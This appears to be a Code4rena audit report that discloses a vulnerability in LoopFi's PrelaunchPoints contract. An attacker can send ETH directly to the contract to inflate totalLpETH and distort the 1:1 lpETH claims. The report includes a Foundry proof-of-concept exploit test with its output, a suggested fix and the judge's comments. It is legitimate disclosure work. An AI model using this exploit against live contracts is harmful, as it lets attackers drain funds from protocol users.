Platform: Code4rena
Start Date: 01/05/2024
Pot Size: $12,100 USDC
Total HM: 1
Participants: 47
Period: 7 days
Judge: Koolex
Id: 371
League: ETH
Rank: 35/47
Findings: 1
Award: $71.11
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xnev
Also found by: 0x04bytes, 0xBugSlayer, 0xJoyBoy03, 0xSecuri, 0xrex, Bigsam, DMoore, Evo, Greed, Kirkeelee, Krace, Pechenite, Rhaydden, SBSecurity, Sajjad, TheFabled, Topmark, XDZIBECX, ZanyBonzy, _karanel, bbl4de, btk, d3e4, gumgumzum, nfmelendez, novamanbg, petarP1998, samuraii77, sandy, shaflow2, sldtyenj12, web3er, y4y, yovchev_yoan
71.1111 USDC - $71.11
One of the main invariants of the protocol states, "Users that deposit ETH/WETH get the correct amount of lpETH on claim (1 to 1 conversion)." However there is a critial vulnerability and if it is exploited, it would break this invariant, resulting in users not receiving lpETH at the 1:1 peg. Consequently, operations dependent on this invariant, such as determining the rewards from staking lpETH could be affected, calculating the lpETH price which in turn will affect integrating Loopfi with other protocols, because other protocols that accept lpETH as collateral might experience liquidation events and more. This will significantly impair the usability of the protocol.
This vulnerability arises due to the susceptibility of the initial ETH amount that should be deposited to the lpETH contract to manipulation, primarily through the risk of direct ETH transfer by malicious actors to the protocol. Let's examine how this issue can be exploited:
In order to convert all the ETH initially locked by users to lpETH, the contract owner should invoke the convertAllETH()
function. The balance that should be deposited to lpETH contract is calculated by retrieving the PrelaunchPoints
contract's balance, which should represent the total ETH deposited by users:
function convertAllETH() external onlyAuthorized onlyBeforeDate(startClaimDate) { ... // deposits all the ETH to lpETH contract. Receives lpETH back uint256 totalBalance = address(this).balance; lpETH.deposit{value: totalBalance}(address(this)); totalLpETH = lpETH.balanceOf(address(this)); ... }
However, because this contract can accept direct ETH transfers through its receive()
function, the calculation of the lpETH deposit amount can be disrupted. A malicious actor can front run the owner before he call convertAllETH()
and send ETH to the contract, breaking this invariant.
This results in totalLpETH
being higher than it should be, leading to incorrect calculations wherever it is used. For example, in the _claim()
function, the amount a user is entitled to claim should be calculated by (user ETH deposit amount * totalLpETH) / totalSupply
. However, due to this vulnerability, totalLpETH
will be much higher than totalSupply
, leading to incorrect calculations of the lpETH user's claim and consequently other issues such as incorrect staking reward amounts. For example in the following function claimedAmount
will be much higher than it should be
function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data) internal returns (uint256 claimedAmount) { uint256 userStake = balances[msg.sender][_token]; if (userStake == 0) { revert NothingToClaim(); } if (_token == ETH) { @> claimedAmount = userStake.mulDiv(totalLpETH, totalSupply); balances[msg.sender][_token] = 0; lpETH.safeTransfer(_receiver, claimedAmount); ... } }
I've created the following test to visualize the consequences of this bug. It can be simply copied and pasted into PrelaunchPoints.t.sol
. Additionally, I've developed a helper function to visualize the amount of lpETH that a user is entitled to. This function should be included in PrelaunchPoints.sol
, it calculates entitlements in the same manner as the _claim()
function and it is used withing the PoC test:
helper function:
function entiteledTo() external view returns (uint256) { uint256 userStake = balances[msg.sender][ETH]; return userStake.mulDiv(totalLpETH, totalSupply); }
PoC test:
Run command: forge test --match-test testDirectETHTransferExploit -vv
function testDirectETHTransferExploit() public { address ALICE = makeAddr("Alice"); address BOB = makeAddr("Bob"); address EVE = makeAddr("Eve"); uint256 lockAmountAlice = 1 ether; uint256 lockAmountBob = 2 ether; uint256 lockAmountEve = 3 ether; vm.deal(ALICE, lockAmountAlice); vm.deal(BOB, lockAmountBob); vm.deal(EVE, lockAmountEve); vm.prank(ALICE); prelaunchPoints.lockETH{value: lockAmountAlice}(referral); vm.prank(BOB); prelaunchPoints.lockETH{value: lockAmountBob}(referral); vm.prank(EVE); prelaunchPoints.lockETH{value: lockAmountEve}(referral); address ATTACKER = makeAddr("Attacker"); vm.deal(ATTACKER, 10 ether); // The attacker sends 10 eth directly to the protocol vm.prank(ATTACKER); address(prelaunchPoints).call{value: 10 ether}(""); // Set Loop Contracts and Convert to lpETH prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault)); vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1); prelaunchPoints.convertAllETH(); vm.warp(prelaunchPoints.startClaimDate() + 1); console.log("Totaly supply: ", prelaunchPoints.totalSupply()); console.log("Totaly lpETH after exploit: ", prelaunchPoints.totalLpETH()); // Although Eve deposited only 3 ETH now becuase of the exploit she can claim 8 lpETH vm.prank(EVE); console.log("Although Eve deposited 3 ETH, she can claim ", prelaunchPoints.entiteledTo(), "lpETH"); }
Console output:
Ran 1 test for test/PrelaunchPoints.t.sol:PrelaunchPointsTest [PASS] testDirectETHTransferExploit() (gas: 299726) Logs: Totaly supply: 6000000000000000000 Totaly lpETH after exploit: 16000000000000000000 Although Eve deposited 3 ETH, she can claim 8000000000000000000 lpETH
VSCode, Foundry
Since a 1:1 peg with ETH is expected, the calculation of the amount to be deposited to lpETH can be directly retrieved from the totalSupply
state variable. This variable accurately tracks the amount of ETH deposited by users.
@@ -318,7 +324,7 @@ contract PrelaunchPoints { } // deposits all the ETH to lpETH contract. Receives lpETH back - uint256 totalBalance = address(this).balance; + uint256 totalBalance = totalSupply; lpETH.deposit{value: totalBalance}(address(this));
ETH-Transfer
#0 - c4-judge
2024-05-15T14:11:56Z
koolexcrypto marked the issue as duplicate of #18
#1 - c4-judge
2024-06-05T07:29:36Z
koolexcrypto changed the severity to 2 (Med Risk)
#2 - c4-judge
2024-06-05T09:30:59Z
koolexcrypto marked the issue as partial-75
#3 - c4-judge
2024-06-05T09:41:00Z
koolexcrypto changed the severity to 3 (High Risk)
#4 - c4-judge
2024-06-05T09:41:21Z
koolexcrypto marked the issue as duplicate of #33
#5 - c4-judge
2024-06-11T07:27:34Z
koolexcrypto marked the issue as partial-25